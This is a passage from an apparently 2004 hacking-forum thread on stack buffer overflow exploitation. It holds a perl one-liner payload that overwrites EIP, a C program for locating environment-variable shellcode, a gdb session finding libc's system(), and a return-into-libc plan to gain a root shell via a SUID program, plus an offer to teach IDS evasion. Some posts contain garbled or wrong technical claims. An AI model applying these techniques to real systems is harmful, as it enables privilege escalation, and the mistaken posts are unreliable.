Sponsored by: â–ˆ Sparkhost - Hosting Without Compromises! â–ˆ Hybrid Performance Web Hosting â–ˆ Spark Host Stream Hosting â–ˆ Hybrid IRC & IRCd Server Shell Accounts
How To Exploit A Buffer Overflow Vulnerability?
#16 Guest_T3cHn0b0y_*
Posted 05 April 2004 - 03:46 PM
__asm__(" add $0x??, %eip
ret ")
From your code I can't tell how much to add to the Infrastructure Pointer but I think you can do it this way.
#17
Posted 05 April 2004 - 05:00 PM
and you can make a simple c program to get the enviorment variables address
char *hax;
hax=getenv(argv[1]);
if(hax==NULL) exit(1);
printf("%s locatated at %p\n,argv[1],hax);
#18 Guest_archphase_*
Posted 05 April 2004 - 10:57 PM
I'm not sure it's actually possible that way. Use some assembly language to munipulate the EIP instead:
__asm__(" add $0x??, %eip
ret ")
From your code I can't tell how much to add to the Infrastructure Pointer but I think you can do it this way.
OK its a microsoft compiler, aint gonna use at&t assembly..__asm { }. Second you cant directly change EIP, its a protected registar due to a threading protected operating system (Windows, Linux, etc..) so you can use syscalls or Win32 API SetThreadContext or use
push xxxxx; addr ret
brOmstar: umm I want to say different implmentations of c runtime..use ollydbg to check the delta between x=1; and printf..oh ya and weve all seen Smashing stack for fun and profit so i dont think you beated anyones imporant
#19
Posted 06 April 2004 - 01:35 AM
I believe blackknight already explained.1) Why did u use the perl command (echo `perl -e 'print "..."'`)? Can't you just use echo "HACK\x90\x1f\x0e\x40HACK\x27\xfe\xff\xbf\x22\xfb\xff\xbf"?
'echo' will just echo the exploit payload as it already is. Consider this:
[shaun@localhost shaun]$ echo `perl -e 'print "HACK"x7 . "\x90\x1f\x0e\x40HACK\x27\xfe\xff\xbf\x22\xfb\xff\xbf"'` HACKHACKHACKHACKHACKHACKHACK@HACK'þÿ¿"ûÿ¿ [shaun@localhost shaun]$Notice, the output is not the same as what we put into the perl one-liner. The hex values have been converted to their equivalent ASCII values.
Now, using the UNIX echo command:
[shaun@localhost shaun]$ echo "HACK"x7 . "\x90\x1f\x0e\x40HACK\x27\xfe\xff\xbf\x22\xfb\xff\xbf" HACKx7 . \x90\x1f\x0e\x40HACK\x27\xfe\xff\xbf\x22\xfb\xff\xbf [shaun@localhost shaun]$The exploit buffer is printed "as-is". On another note, we also use 'perl -e' because sometimes we need to repeat garbage data (padding) or return addresses, hence the "HACK"x7. This repeats HACK 7 times. We use this garbage data for padding because 32 bytes are needed to overwrite the EIP register (32 bytes includes the new return address itself). Don't bug yourself about WHY 32 bytes are needed - I had already experimented with Blasta's example program for 5 minutes before writing the perl one-liner exploit - thus learning the amount of data required to zap out EIP.
As blackknight was explaining, you can simply use the 'getenv()' library function in Linux, store the outpt in a pointer, and then use the %p printf format parameter to print the actual address of the desired variable.2) How did u get the offsets of the chmod call and your two variables OURSH and OURMODE?
I wrote a simple C program to get the address of a user-specified environmental variable - this is the one I used for the experiments I have presented briefly in this thread.
/* getenv.c - get address of an environmental variable. */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <environ_var>\n", argv[0]);
exit(-1);
}
char *addr_ptr;
addr_ptr = getenv(argv[1]);
if(addr_ptr == NULL) {
printf("Environmental variable %s does not exist!\n", argv[1]);
exit(-1);
}
printf("%s is stored at address %p\n", argv[1], addr_ptr);
return(0);
}As blackknight stated earlier, to make exploitation via stack based buffer overflow vulnerabilities a lot easier, we often use environmental variables to store shellcode, eliminating the need for NOPs (often referred to as "NOP sleds" for obvious reasons). The almost exact address of the environmental variable holding shellcode or otherwise (i.e instead of shellcode, stuff needed for "return into libc" exploits) can be calculated quite easily, this address can be used to overwrite EIP, execution flow with jump to your environmental variable, and the shellcode will be executed. For the other part of your question, the static addresses of LIBC functions on a particular machine (used when using the 'return into libc' technique I showed briefly) can be found quite easily using a debugging. Let me demonstrate:
[shaun@localhost shaun]$ cat <<EOF >> dummy.c
> int main() {
> system();
> }
> [shaun@localhost shaun]$ cat dummy.c
int main() {
system();
}
[shaun@localhost shaun]$ gcc dummy.c -o dummy
[shaun@localhost shaun]$ gdb dummy
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x8048342
(gdb) run
Starting program: /home/shaun/dummy
Breakpoint 1, 0x08048342 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40061310 <system>
(gdb) quit
The program is running. Exit anyway? (y or n) y
[shaun@localhost shaun]$Above, I create a stupid dummy program calling 'system()' with a NULL argument. I compiled it, and then ran the GNU GDB debugger. It's essential that you become familiar with gdb, it's included with most all linux distributions.I used gdb commands to set a break point on main(), ran the program, and then printed the address of the LIBC 'system()' function. The memory address of 'system()' on MY system just happens to be '0x40061310'. When you consider little-endian byte ordering, and convert to hex, you get the following:
\x10\x13\x06\x40
I know it's leet looking, but all it really is is 0x40061310 with the bytes reversed (because of little-endian byte ordering - the bytes have to be reversed) with '\x' before every value. Easy, huh? No probs.
Now that we have the address of 'system()' we can shove values into environmental variables and get the address of them using the above program I pasted. By doing this properly, it's quite easy to get a shell. Note that even if vulnprog was SUID root, the shell wouldn't be root, because system() executes commands via /bin/sh, which drops the privileges first. However, execl() could be called with only a little bit more work, or you could call 'chmod()' to set SUID privs on a desired program - hence my example of the previous page. I could've created a program which executes a shell (not with system()), and then exploit vulnprog to execute the chmod() call to set SUID privs on my shell-exec program. And since vulnprog was SUID root, my shell-exec program now runs with root privileges - even though I didn't exploit vulnprog to execute a shell, I still have a root shell waiting for me
Maybe I've just rambled on a bit.
Maybe we can get a lecture going in #gso-chat on our new irc server.
Blackknight - would you be willing to do a lecture with me for the guys? We could demonstrate the methods we just discussed; placing code in environmental variables, and overwriting EIP with the address of the environ variable. What do yer think?
-Shaun.
#20
Posted 06 April 2004 - 03:19 AM
I can even tell you howto write your own shellcode
and how the calls are made.. so you can pretty much write any shellcode you want
Will even tell you howto print it so u can easily import into a file...
Windows shellcode is a bit of a tedious task and requires screenshots normally.. so we should start off with linux and see where people are at and what needs to be done
But yeah post ideas on what you guys want the lecture to be about.. i can explain very indepth on how the whole process works. And explain why it works etc..
and tricks to avoid IDS detection
edit: Note when you are explotining using getenvaddr the env variable will be padding the shellcode etc.. so keep that in mind because if its not divisible by 4 you will have a segment overflow
#21 Guest_ScriptGod_*
Posted 06 April 2004 - 03:42 AM
the EIP register cannot be overwriten normally!I'm not sure it's actually possible that way. Use some assembly language to munipulate the EIP instead:
__asm__(" add $0x??, %eip
ret ")
From your code I can't tell how much to add to the Infrastructure Pointer but I think you can do it this way.
to exploit a stack overflow you need to overwrite the return address to get control of the EIP
example:
void main()
{
[...]
function_with_overflow_inside( input );
[...]
}
void function_with_overflow_inside( input )
{
char szBuffer[ 100 ];
sprintf( szBuffer, "%s", input );
}
in assembler:
main:
[...]
0x00400100 call function_with_overflow_inside (0x00420000)
[...]
function_with_overflow_inside
0x00420000 [...]
0x00421000 ret <- return to 0x00400100
after the call the address 0x00400100 is written on the stack. with an overflow you overwrite this address. ret gets the address of the stack an jumps to it
example:
char szBuffer[ 100 ];
sprintf( szBuffer, "%s", input );
stack:
0x00120000 szBuffer
[...] szBuffer
0x00120100 0x00400100
if your input string is larger then 100 bytes you overwrite the return address .THIS your new EIP after the ret is called.
this address should point to an instruction "jmp esp" or "call esp" so our code AFTER the new return/eip address IN "input" is called.
then you have complete control of it
#22 Guest_BlaStA_*
Posted 06 April 2004 - 09:57 AM
Another prob I see is, that I don't know much about Linux. I installed Knoppix under Vmware on my laptop, but don't know if this is the best?!
#23
Posted 06 April 2004 - 10:43 AM
We will keep a log of the lecture, so something can still be gained from it. Any questions that weren't asked because of absence can be asked in a thread we open, to distribute the IRC log.
To help combat the problem of misunderstandings and not having Linux, we are going to prepare lecture notes after the lecture is over, helping people further with concepts explained. We will also seperate the lecture into seperate parts, such as Windows, Linux, etc. Blackknight has access to Windows & Linux, so it shouldn't be a problem.
-Shaun.
#24 Guest_T3cHn0b0y_*
Posted 06 April 2004 - 01:52 PM
I'll read some stuff about dynamic memory allocation and hex etc. before the lecture, as to be up to scratch on my knowledge of what your gonna be talking about.
Thanks again
#25
Posted 06 April 2004 - 02:51 PM
In asm you can actually right a lil piece of code that prevents this
#26 Guest_yuliang11_*
Posted 06 April 2004 - 10:42 PM
#27 Guest_bambipower_*
Posted 07 April 2004 - 06:56 AM
#28
Posted 08 April 2004 - 07:59 PM
I've already read every Windows based text that I could find on the web. There hasn't really been a clear tutorial on windows using a simple C++ applet that actually details exploitation from start to cms shell or cmd execution.
#29 Guest_archphase_*
Posted 08 April 2004 - 09:54 PM
LSD-PL Paper or Matt Millers paper, what else do you need?Interesting discussion. I'd like to hear more about Windows stack based overflows while you guys are at it.
I've already read every Windows based text that I could find on the web. There hasn't really been a clear tutorial on windows using a simple C++ applet that actually details exploitation from start to cms shell or cmd execution.
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users












